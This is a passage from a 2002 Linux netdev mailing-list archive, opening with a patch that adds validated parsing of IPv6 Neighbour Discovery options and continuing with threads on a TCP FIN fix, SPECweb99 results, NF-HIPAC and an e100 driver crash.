== 0) { - ND_PRINTK0("RA: opt has 0 len\n"); - break; + if (ndopts.nd_opts_pi) { + struct nd_opt_hdr *p; + for (p = ndopts.nd_opts_pi; + p; + p = ndisc_next_option(p, ndopts.nd_opts_pi_end)) { + addrconf_prefix_rcv(skb->dev, (u8*)p, (p->nd_opt_len) << 3); } + } - switch(*opt) { - case ND_OPT_SOURCE_LL_ADDR: + if (ndopts.nd_opts_mtu) { + u32 mtu; - if (rt == NULL) - break; - - if ((neigh = rt->rt6i_nexthop) != NULL && - skb->dev->addr_len + 2 >= len) - neigh_update(neigh, opt+2, NUD_STALE, 1, 1); - break; + memcpy(&mtu, ((u8*)(ndopts.nd_opts_mtu+1))+2, sizeof(mtu)); + mtu = ntohl(mtu); - case ND_OPT_PREFIX_INFO: - addrconf_prefix_rcv(skb->dev, opt, len); - break; - - case ND_OPT_MTU: - { - int mtu; - - mtu = htonl(*(__u32 *)(opt+4)); - - if (mtu < IPV6_MIN_MTU || mtu > skb->dev->mtu) { - ND_PRINTK0("NDISC: router " - "announcement with mtu = %d\n", - mtu); - break; - } + if (mtu < IPV6_MIN_MTU || mtu > skb->dev->mtu) { + if (net_ratelimit()) { + ND_PRINTK0("NDISC: router announcement with mtu = %d\n", + mtu); + } + } - if (in6_dev->cnf.mtu6 != mtu) { - in6_dev->cnf.mtu6 = mtu; + if (in6_dev->cnf.mtu6 != mtu) { + in6_dev->cnf.mtu6 = mtu; - if (rt) - rt->u.dst.pmtu = mtu; + if (rt) + rt->u.dst.pmtu = mtu; - rt6_mtu_change(skb->dev, mtu); - } - } - break; - - case ND_OPT_TARGET_LL_ADDR: - case ND_OPT_REDIRECT_HDR: - ND_PRINTK0("got illegal option with RA"); - break; - default: - ND_PRINTK0("unkown option in RA\n"); - }; - optlen -= len; - opt += len; - } + rt6_mtu_change(skb->dev, mtu); + } + } + + if (ndopts.nd_opts_tgt_lladdr || ndopts.nd_opts_rh) { + if (net_ratelimit()) + ND_PRINTK0(KERN_WARNING + "ICMP6 RA: got illegal option with RA"); + } +out: if (rt) dst_release(&rt->u.dst); in6_dev_put(in6_dev); @@ -740,7 +778,10 @@ struct in6_addr *target; /* new first hop to destination */ struct neighbour *neigh; int on_link = 0; + struct ndisc_options ndopts; int optlen; + u8 *lladdr = NULL; + int lladdrlen; if (!(ipv6_addr_type(&skb->nh.ipv6h->saddr) & IPV6_ADDR_LINKLOCAL)) { if (net_ratelimit()) @@ -788,6 +829,24 @@ * first-hop router for the specified ICMP Destination Address. */ + if (!ndisc_parse_options((u8*)(dest + 1), optlen, &ndopts)) { + if (net_ratelimit()) + ND_PRINTK2(KERN_WARNING + "ICMP6 Redirect: invalid ND options, rejected.\n"); + in6_dev_put(in6_dev); + return; + } + if (ndopts.nd_opts_tgt_lladdr) { + lladdr = (u8*)(ndopts.nd_opts_tgt_lladdr + 1); + lladdrlen = ndopts.nd_opts_tgt_lladdr->nd_opt_len << 3; + if (lladdrlen != NDISC_OPT_SPACE(skb->dev->addr_len)) { + if (net_ratelimit()) + ND_PRINTK2(KERN_WARNING + "ICMP6 Redirect: invalid lladdr length.\n"); + in6_dev_put(in6_dev); + return; + } + } /* passed validation tests */ /* @@ -796,7 +855,7 @@ neigh = __neigh_lookup(&nd_tbl, target, skb->dev, 1); if (neigh) { - ndisc_update(neigh, (u8*)(dest + 1), optlen, ND_OPT_TARGET_LL_ADDR); + neigh_update(neigh, lladdr, NUD_STALE, 1, 1); if (neigh->nud_state&NUD_VALID) rt6_redirect(dest, &skb->nh.ipv6h->saddr, neigh, on_link); else @@ -922,31 +981,6 @@ ICMP6_INC_STATS(Icmp6OutMsgs); } -static __inline__ struct neighbour * -ndisc_recv_ns(struct in6_addr *saddr, struct sk_buff *skb) -{ - u8 *opt; - - opt = skb->h.raw; - opt += sizeof(struct nd_msg); - opt = ndisc_find_option(opt, skb->dev->addr_len+2, skb->tail - opt, ND_OPT_SOURCE_LL_ADDR); - - return neigh_event_ns(&nd_tbl, opt, saddr, skb->dev); -} - -static __inline__ int ndisc_recv_na(struct neighbour *neigh, struct sk_buff *skb) -{ - u8 *opt; - struct nd_msg *msg = (struct nd_msg*) skb->h.raw; - - opt = ndisc_find_option(msg->opt, skb->dev->addr_len+2, - skb->tail - msg->opt, ND_OPT_TARGET_LL_ADDR); - - return neigh_update(neigh, opt, - msg->icmph.icmp6_solicited ? NUD_REACHABLE : NUD_STALE, - msg->icmph.icmp6_override, 1); -} - static void pndisc_redo(struct sk_buff *skb) { ndisc_rcv(skb); @@ -978,13 +1012,15 @@ return 0; } - /* XXX: RFC2461 Validation of [all ndisc messages]: - * All included ndisc options MUST be of non-zero length - * (Some checking in ndisc_find_option) - */ - switch (msg->icmph.icmp6_type) { case NDISC_NEIGHBOUR_SOLICITATION: + { + struct nd_msg *msg = (struct nd_msg *)skb->h.raw; + u8 *lladdr = NULL; + int lladdrlen = 0; + u32 ndoptlen = skb->tail - msg->opt; + struct ndisc_options ndopts; + if (skb->len < sizeof(struct nd_msg)) { if (net_ratelimit()) printk(KERN_WARNING "ICMP NS: packet too short\n"); @@ -997,6 +1033,22 @@ return 0; } + if (!ndisc_parse_options(msg->opt, ndoptlen, &ndopts)) { + if (net_ratelimit()) + printk(KERN_WARNING "ICMP NS: invalid ND option, ignored.\n"); + return 0; + } + + if (ndopts.nd_opts_src_lladdr) { + lladdr = (u8*)(ndopts.nd_opts_src_lladdr + 1); + lladdrlen = ndopts.nd_opts_src_lladdr->nd_opt_len << 3; + if (lladdrlen != NDISC_OPT_SPACE(skb->dev->addr_len)) { + if (net_ratelimit()) + printk(KERN_WARNING "ICMP NS: bad lladdr length.\n"); + return 0; + } + } + /* XXX: RFC2461 7.1.1: * If the IP source address is the unspecified address, there * MUST NOT be source link-layer address option in the message. @@ -1063,7 +1115,7 @@ * for the source adddress */ - neigh = ndisc_recv_ns(saddr, skb); + neigh = neigh_event_ns(&nd_tbl, lladdr, saddr, skb->dev); if (neigh || !dev->hard_header) { ndisc_send_na(dev, neigh, saddr, &ifp->addr, @@ -1093,7 +1145,8 @@ else nd_tbl.stats.rcv_probes_ucast++; - neigh = ndisc_recv_ns(saddr, skb); + + neigh = neigh_event_ns(&nd_tbl, lladdr, saddr, skb->dev); if (neigh) { ndisc_send_na(dev, neigh, saddr, &msg->target, @@ -1113,8 +1166,16 @@ } return 0; + } case NDISC_NEIGHBOUR_ADVERTISEMENT: + { + struct nd_msg *msg = (struct nd_msg *)skb->h.raw; + u8 *lladdr = NULL; + int lladdrlen = 0; + u32 ndoptlen = skb->tail - msg->opt; + struct ndisc_options ndopts; + if (skb->len < sizeof(struct nd_msg)) { if (net_ratelimit()) printk(KERN_WARNING "ICMP NA: packet too short\n"); @@ -1133,6 +1194,20 @@ return 0; } + if (!ndisc_parse_options(msg->opt, ndoptlen, &ndopts)) { + if (net_ratelimit()) + printk(KERN_WARNING "ICMP NS: invalid ND option, ignored.\n"); + return 0; + } + if (ndopts.nd_opts_tgt_lladdr) { + lladdr = (u8*)(ndopts.nd_opts_tgt_lladdr + 1); + lladdrlen = ndopts.nd_opts_tgt_lladdr->nd_opt_len << 3; + if (lladdrlen != NDISC_OPT_SPACE(skb->dev->addr_len)) { + if (net_ratelimit()) + printk(KERN_WARNING "NDISC NA: invalid lladdr length.\n"); + return 0; + } + } if ((ifp = ipv6_get_ifaddr(&msg->target, dev))) { if (ifp->flags & IFA_F_TENTATIVE) { addrconf_dad_failure(ifp); @@ -1170,10 +1245,13 @@ neigh->flags |= NTF_ROUTER; } - ndisc_recv_na(neigh, skb); + neigh_update(neigh, lladdr, + msg->icmph.icmp6_solicited ? NUD_REACHABLE : NUD_STALE, + msg->icmph.icmp6_override, 1); neigh_release(neigh); } break; + } case NDISC_ROUTER_ADVERTISEMENT: ndisc_router_discovery(skb); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From tcw@tempest.prismnet.com Wed Sep 25 08:48:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Sep 2002 08:48:13 -0700 (PDT) Received: from tempest.prismnet.com (root@tempest.prismnet.com [209.198.128.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8PFm9tG025875 for ; Wed, 25 Sep 2002 08:48:09 -0700 Received: from tempest.prismnet.com (tcw@localhost [127.0.0.1]) by tempest.prismnet.com (8.12.5/8.12.5) with ESMTP id g8PFltwf013808; Wed, 25 Sep 2002 10:47:55 -0500 (CDT) (envelope-from tcw@tempest.prismnet.com) Received: (from tcw@localhost) by tempest.prismnet.com (8.12.5/8.12.5/Submit) id g8PFlsrR013807; Wed, 25 Sep 2002 10:47:54 -0500 (CDT) From: Troy Wilson Message-Id: <200209251547.g8PFlsrR013807@tempest.prismnet.com> Subject: SPECWeb99 Data -- tcp-wakeups To: akpm@digeo.com Date: Wed, 25 Sep 2002 10:47:53 -0500 (CDT) CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, lse-tech@lists.sourceforge.net X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-archive-position: 318 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tcw@tempest.prismnet.com Precedence: bulk X-list: netdev ******************************************************************** * SPEC(tm) and the benchmark name SPECweb(tm) are registered * * trademarks of the Standard Performance Evaluation Corporation. * * This benchmarking was performed for research purposes only, * * and is non-compliant, with the following deviations from the * * rules - * * * * 1 - It was run on hardware that does not meed the SPEC * * availability-to-the-public criteria. The machine is * * an engineering sample. * * * * 2 - access_log wasn't kept for full accounting. It was * * being written, but deleted every 200 seconds. * ******************************************************************** I've done some testing with SPECWeb99 on 2.5.35 mm1 with and without the tcp-wakeups patch backed out. The addition of tcp-wakeups makes a 2% improvement in performance. mm1 mm1 without tcp-wakeup ----------------------------------------- Simultaneous connections 3049 2982 The system is an 8-way, 900MHz, Profusion-based P3 box with 32GB memory. It's connected to 16 SPECWeb client machines via 4 e1000 gigabit adapters. I'm using Apache 2.0.36 as the webserver. - Troy From niv@us.ibm.com Wed Sep 25 12:35:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Sep 2002 12:36:00 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8PJZwtG007069 for ; Wed, 25 Sep 2002 12:35:58 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e33.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8PJZuC5017776; Wed, 25 Sep 2002 15:35:56 -0400 Received: from us.ibm.com (dyn9-47-18-188.beaverton.ibm.com [9.47.18.188]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8PJZtFj051708; Wed, 25 Sep 2002 13:35:55 -0600 Message-ID: <3D920F38.410CA3AB@us.ibm.com> Date: Wed, 25 Sep 2002 12:32:08 -0700 From: Nivedita Singhvi X-Mailer: Mozilla 4.72 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Hyochang Nam CC: netdev@oss.sgi.com Subject: Re: [Question] SMP for TCP/IP Stack References: <20020925112731.A19934@toad.postech.ac.kr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 319 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Hyochang Nam wrote: > > Can Linux Kernel 2.4.X handle two IP Packets at the same time > in a SMP machine which has two CPUs? We've done tests on large SMP's without significant problems. > I have a SMP machine which equips two Intel Xeon CPUs and two > Intel Gigabit Network Cards. When I sent small IP Packets > to the machine, most of packets are dropped. When I watch How small is your small packet? Do you have the same problem with larger packets? Are these drops showing up in ifconfig output? i.e. reported by the card? In which case I suspect it might be a card issue. Also, have you configured your card settings? > CPU utlization with TOP program, only one CPU shows high value > but the other shows much low value, ie. 10% CPU utlization. How are you doing your sends? Is your application mostly running on one CPU? Do you have anything else running on the busy CPU? What is the interrupt distribution between the two CPU's? > My test shows current IP Stack in Linux Kernel cannot provide > SMP Processing properly. But, some articles said Linux Kernel 2.4 > gives true SMP processing. What do you think my problem is? Could you provide your stats (ifconfig, netstat -s)? > Hyochang Nam thanks, Nivedita From mbp@samba.org Wed Sep 25 22:49:36 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Sep 2002 22:49:43 -0700 (PDT) Received: from sngrel5.hp.com (sngrel5.hp.com [192.6.86.210]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8Q5nFtG028814 for ; Wed, 25 Sep 2002 22:49:22 -0700 Received: from ctss200.sgp.hp.com (ctss200.sgp.hp.com [15.68.10.200]) by sngrel5.hp.com (Postfix) with ESMTP id 9A7B3478 for ; Thu, 26 Sep 2002 13:49:06 +0800 (SGP) Received: from XAUBRG2.AUS.HP.COM (xaubrg2.aus.hp.com [15.23.69.43]) by ctss200.sgp.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id NAA27537 for ; Thu, 26 Sep 2002 13:49:05 +0800 (SGP) Received: from 15.23.69.43 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Thu, 26 Sep 2002 15:48:47 +1000 Received: from XAUBRG2.AUS.HP.COM (localhost [127.0.0.1]) by XAUBRG2.AUS.HP.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id T2TD0VAD; Thu, 26 Sep 2002 15:48:47 +1000 Received: from 16.176.68.120 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Thu, 26 Sep 2002 15:48:46 +1000 Received: from mbp by vexed.aus.hp.com with local (Exim 3.36 #1 (Debian)) id 17uRV4-00021v-00; Thu, 26 Sep 2002 15:47:46 +1000 Date: Thu, 26 Sep 2002 15:47:46 +1000 From: Martin Pool To: Alexey Kuznetsov Cc: davem@redhat.com, ak@muc.de, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case Message-ID: <20020926054721.GA6039@samba.org> References: <20020918020927.GB2285@samba.org> <200209182338.DAA00778@mops.inr.ac.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200209182338.DAA00778@mops.inr.ac.ru> User-Agent: Mutt/1.4i X-GPG: 1024D/A0B3E88B: AFAC578F 1841EE6B FD95E143 3C63CA3F A0B3E88B X-archive-position: 320 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbp@samba.org Precedence: bulk X-list: netdev On 19 Sep 2002, Alexey Kuznetsov wrote: > Hello! > > > I can't reproduce it on 2.4.18 or .19. It looked to me like > > tcp_snd_test() and related stuff had been substantially rewritten. > > No, tcp_snd_test() in 2.2 is backport and it is accurate. > Apparently, the problem remained in another place, which was not backported. > > I think this is tcp_send_fin(). It is obscure and apparently incorrect > at least on corked sockets. I would kill all the dubious "if" after > > /* Special case to avoid Nagle bogosity.... > > and replaced it with straight tcp_push_pending_frames() like it was > made in 2.4. Please, try. Thanks for the hint! The change you suggested seems to reliably fix the problem but I saw something else as well. I was also a bit confused by the purpose of the (skb->len < mss_now) term in tcp_send_fin(). As far as I can see, that if statement is to do with deciding whether to make up a new FIN packet, or whether to set the FIN bit on the final packet that is already queued. It seems to me that in 2.2.21, if we ever have frames queued in tp->send_head, and altogether they are more than the MSS, then it will go through to the else branch, and make up and send a FIN packet straight away. The FIN packet will be transmitted before the other packets that are queued, even though they are earlier in sequence. So, assuming no selective ACK, it will arrive out of order and just have to be retransmitted later on. I see that that test is gone in 2.4.18, and the expression is simply (tp->send_head != NULL). The patch is just below. It works with 2.2.22 too. If somebody could let me know if it's OK I would appreciate it. > BTW your tcpdump contains less than 25% of packets. And all the interesting > piece is absent completely. :-) I think the interesting bit is absent from the dump because it really *is* absent -- the machine just never sends a FIN. (Or perhaps tcpdump missed some packets?) --- linux-2.2.21-cork/net/ipv4/tcp_output.c.orig Thu Sep 26 07:34:52 2002 +++ linux-2.2.21-cork/net/ipv4/tcp_output.c Thu Sep 26 07:59:52 2002 @@ -753,38 +753,23 @@ void tcp_send_fin(struct sock *sk) { struct tcp_opt *tp = &(sk->tp_pinfo.af_tcp); struct sk_buff *skb = skb_peek_tail(&sk->write_queue); - unsigned int mss_now; - /* Optimization, tack on the FIN if we have a queue of - * unsent frames. But be careful about outgoing SACKS - * and IP options. - */ - mss_now = tcp_current_mss(sk); + if ((tp->send_head != NULL)) { + /* Optimization, tack on the FIN if we have a queue of + * unsent frames. But be careful about outgoing SACKS + * and IP options. Then send all outstanding frames, + * or turn on probe timer. */ - if((tp->send_head != NULL) && (skb->len < mss_now)) { /* tcp_write_xmit() takes care of the rest. */ TCP_SKB_CB(skb)->flags |= TCPCB_FLAG_FIN; TCP_SKB_CB(skb)->end_seq++; tp->write_seq++; - /* Special case to avoid Nagle bogosity. If this - * segment is the last segment, and it was queued - * due to Nagle/SWS-avoidance, send it out now. - */ - if(tp->send_head == skb && - !sk->nonagle && - skb->len < (tp->mss_cache >> 1) && - tp->packets_out && - !(TCP_SKB_CB(skb)->flags & TCPCB_FLAG_URG)) { - update_send_head(sk); - TCP_SKB_CB(skb)->when = tcp_time_stamp; - tp->snd_nxt = TCP_SKB_CB(skb)->end_seq; - tp->packets_out++; - tcp_transmit_skb(sk, skb_clone(skb, GFP_ATOMIC)); - if(!tcp_timer_is_set(sk, TIME_RETRANS)) - tcp_reset_xmit_timer(sk, TIME_RETRANS, tp->rto); - } + tcp_push_pending_frames(sk, tp); } else { + /* Nothing is currently pending on this socket; make a + * FIN packet and send it directly. */ + /* Socket is locked, keep trying until memory is available. */ for (;;) { skb = sock_wmalloc(sk, -- Martin Want a faster compiler? http://distcc.samba.org/ From hadi@cyberus.ca Thu Sep 26 05:10:44 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 05:10:50 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QCAhtG003085 for ; Thu, 26 Sep 2002 05:10:44 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id IAA00794; Thu, 26 Sep 2002 08:10:42 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g8QC3Wk00210; Thu, 26 Sep 2002 08:03:32 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Thu, 26 Sep 2002 08:03:32 -0400 (EDT) From: jamal To: "David S. Miller" cc: , , , , Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification In-Reply-To: <20020926.020602.75761707.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 321 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev It would be nice if people would start ccing networking related discussions to netdev. I missed the first part of the discussion but i take it the NF-HIPAC posted a patch.. BTW, I emailed the authors when i read the paper but never heard back. What i wanted the authors was to compare against one of the tc classifiers not iptables. On Thu, 26 Sep 2002, David S. Miller wrote: > You are talking about a lot of independant things, but I'm going > to defer my contributions until we have actual code people can > start plugging netfilter into if they want. > I hacked some code using the traffic control framework around OLS time; there are a lot of ideas i havent incorporated yet. Too many hacks, too little time ;-> I think this is what i may have showed Roberto on my laptop over a drink. I probably wouldnt have put this code out if my complaints about netfilter werent ignored. And you know what happens when you start writting poetry, I ended worrying more than just about the performance problems of iptables; for example the code i have now makes it easy to extend the path a packet takes using simple policies. The code i have is based around tc framework. One thing i liked about netfilter is the idea of targets being separate modules; so the code i have infact makes uses of netfilter targets. I plan on revisiting this code at some point, maybe this weekend now that i am reminded of it ;-> Take a look: http://www.cyberus.ca/~hadi/patches/action.DESCRIPTION > About using syslog to record messages, that is doomed to failure, > implement log messages via netlink and use that to log the events > instead. > Agreed, you need a netlink to syslog converter. Netlink is king -- all the policies in the above code are netlink controlled. All events are also netlink transported. You dont have to send every little message you see; netlink allows you to batch and you could easily do a nagle like algorithm. Next steps are a distributed version of netlink.. cheers, jamal From Gautier.Harmel@qosmos.net Thu Sep 26 06:03:04 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 06:03:10 -0700 (PDT) Received: from localhost.localdomain (qosmos.net [217.167.255.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QD32tG003793 for ; Thu, 26 Sep 2002 06:03:03 -0700 Received: from bananier (bananier.foret [192.168.2.13]) by localhost.localdomain (8.11.6/8.11.6) with ESMTP id g8QD2iI04418; Thu, 26 Sep 2002 15:02:44 +0200 From: "Gautier Harmel" To: , , Subject: TR : Bug with NIC card Adlink PCI 8214 (Intel 82559 based) under linux Date: Thu, 26 Sep 2002 15:03:28 +0200 Message-ID: <003401c2655d$1ede6350$0d02a8c0@bananier> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit Content-length: 1465 X-archive-position: 322 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Gautier.Harmel@qosmos.net Precedence: bulk X-list: netdev Hi, I found bug using the Adlink PCI8214 nic card based on an Intel 82559 under Linux. This bug occurs under a Linux 2.4.17 (e100 driver version 2.1.15 found on the Intel web site) using the bridge functionality. I didn't try using an earlier version of linux kernel. I used LKCD (linux kernel crash debugger) to further investigate what happens. Here are my conclusions : 1) the bug occurs in skb_checksum_help function (linux/net/core.dev.c file) 2) the disassembly code involved is: 7c7: 0f 0b ud2a 7c9: 89 c8 mov %ecx,%eax 7cb: c1 e1 10 shl $0x10,%ecx 7ce: 25 00 00 ff ff and $0xffff0000,%eax 7d3: 01 c8 add %ecx,%eax 7d5: 15 ff ff 00 00 adc $0xffff,%eax 7da: f7 d0 not %eax 7dc: c1 e8 10 shr $0x10,%eax 7df: 66 89 04 3e mov %ax,(%esi,%edi,1) 7e3: 89 d8 mov %ebx,%eax 7e5: c6 43 6b 00 movb $0x0,0x6b(%ebx) 3) I think that this assembly code is the following line in skb_checksum_help: (*u16*)(skb->h.raw + skb->csum) = csum_fold(csum); (line 933) Maybe skb->h.raw is a bad pointer ??? Thanks for help Please CC me in your answer, while I didn't subscribe to any of the mailing list Jerome Tollet Jerome.tollet@qosmos.net [[HTML alternate version deleted]] From kuznet@ms2.inr.ac.ru Thu Sep 26 06:09:36 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 06:09:41 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QD9ZtG004726 for ; Thu, 26 Sep 2002 06:09:35 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id RAA17837; Thu, 26 Sep 2002 17:09:11 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209261309.RAA17837@sex.inr.ac.ru> Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case To: mbp@samba.org (Martin Pool) Date: Thu, 26 Sep 2002 17:09:11 +0400 (MSD) Cc: davem@redhat.com, ak@muc.de, netdev@oss.sgi.com, Alan.Cox@linux.org In-Reply-To: <20020926054721.GA6039@samba.org> from "Martin Pool" at Sep 26, 2 03:47:46 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 323 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > I was also a bit confused by the purpose of the (skb->len < mss_now) Me too. :-) It is not a bug though. See below. > straight away. The FIN packet will be transmitted before the other > packets that are queued, even though they are earlier in sequence. > So, assuming no selective ACK, it will arrive out of order and just > have to be retransmitted later on. No really. It is _enqueued_, not sent. So, the only effect of the check is that when the last frame happens to be mss-sized, FIN will be sent separately though it could be attached to data. Not a problem. > The patch is just below. It works with 2.2.22 too. If somebody could > let me know if it's OK I would appreciate it. I think it is OK. But, to be honest, it is the case when I do not feel brave enough to give 100% warranty. :-) I do not understand why tcp_push_pending_frames() was not used there... maybe, there was some reason not to use it. Dave, do you not remember this? > I think the interesting bit is absent from the dump because it really No, look at it again. It contains only the first 20% of data. All the data and acks before connection termination are _lost_. Alexey From jmorris@intercode.com.au Thu Sep 26 08:28:12 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 08:28:20 -0700 (PDT) Received: from blackbird.intercode.com.au (blackbird.intercode.com.au [203.32.101.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QFS9tG010010 for ; Thu, 26 Sep 2002 08:28:10 -0700 Received: from localhost (jmorris@localhost) by blackbird.intercode.com.au (8.9.3/8.9.3) with ESMTP id BAA12533; Fri, 27 Sep 2002 01:27:41 +1000 Date: Fri, 27 Sep 2002 01:27:41 +1000 (EST) From: James Morris To: "David S. Miller" cc: Rusty Russell , , , Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification for Netfilter In-Reply-To: <20020925.224001.99456805.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 324 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@intercode.com.au Precedence: bulk X-list: netdev On Wed, 25 Sep 2002, David S. Miller wrote: > If you have things that must happen in a sequence to flow through > your path properly, that's where the "stackable" bit comes in. You > do that one bit, skb->dst = dst_pop(skb->dst), then your caller > will pass the packet on to skb->dst->{output,input}(). > > Is it clearer now the kind of things you'll be able to do? > So, this could be used for generic network layer encapsulation, and be used for GRE tunnels, SIT etc. without the kinds of kludges currently in use? Sounds nice. - James -- James Morris From jleu@nero.doit.wisc.edu Thu Sep 26 08:42:50 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 08:42:55 -0700 (PDT) Received: from nero.doit.wisc.edu (IDENT:root@nero.doit.wisc.edu [128.104.17.130]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QFgotG010511 for ; Thu, 26 Sep 2002 08:42:50 -0700 Received: (from jleu@localhost) by nero.doit.wisc.edu (8.11.6/8.11.6) id g8QGkIC10712 for netdev@oss.sgi.com; Thu, 26 Sep 2002 11:46:18 -0500 Date: Thu, 26 Sep 2002 11:46:17 -0500 From: "James R. Leu" To: netdev@oss.sgi.com Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification for Netfilter Message-ID: <20020926114617.C10590@nero.doit.wisc.edu> Reply-To: jleu@mindspring.com References: <20020925.224001.99456805.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from jmorris@intercode.com.au on Fri, Sep 27, 2002 at 01:27:41AM +1000 Organization: none X-archive-position: 325 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jleu@mindspring.com Precedence: bulk X-list: netdev I missed the original post. Is there a patch availble for testing? Jim On Fri, Sep 27, 2002 at 01:27:41AM +1000, James Morris wrote: > On Wed, 25 Sep 2002, David S. Miller wrote: > > > If you have things that must happen in a sequence to flow through > > your path properly, that's where the "stackable" bit comes in. You > > do that one bit, skb->dst = dst_pop(skb->dst), then your caller > > will pass the packet on to skb->dst->{output,input}(). > > > > Is it clearer now the kind of things you'll be able to do? > > > > So, this could be used for generic network layer encapsulation, and be > used for GRE tunnels, SIT etc. without the kinds of kludges currently in > use? Sounds nice. > > > - James > -- > James Morris > > > -- James R. Leu From jmorris@intercode.com.au Thu Sep 26 09:19:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 09:19:22 -0700 (PDT) Received: from blackbird.intercode.com.au (blackbird.intercode.com.au [203.32.101.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QGJHtG011992 for ; Thu, 26 Sep 2002 09:19:19 -0700 Received: from localhost (jmorris@localhost) by blackbird.intercode.com.au (8.9.3/8.9.3) with ESMTP id CAA12814; Fri, 27 Sep 2002 02:19:11 +1000 Date: Fri, 27 Sep 2002 02:19:11 +1000 (EST) From: James Morris To: "James R. Leu" cc: netdev@oss.sgi.com Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification for Netfilter In-Reply-To: <20020926114617.C10590@nero.doit.wisc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 326 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@intercode.com.au Precedence: bulk X-list: netdev On 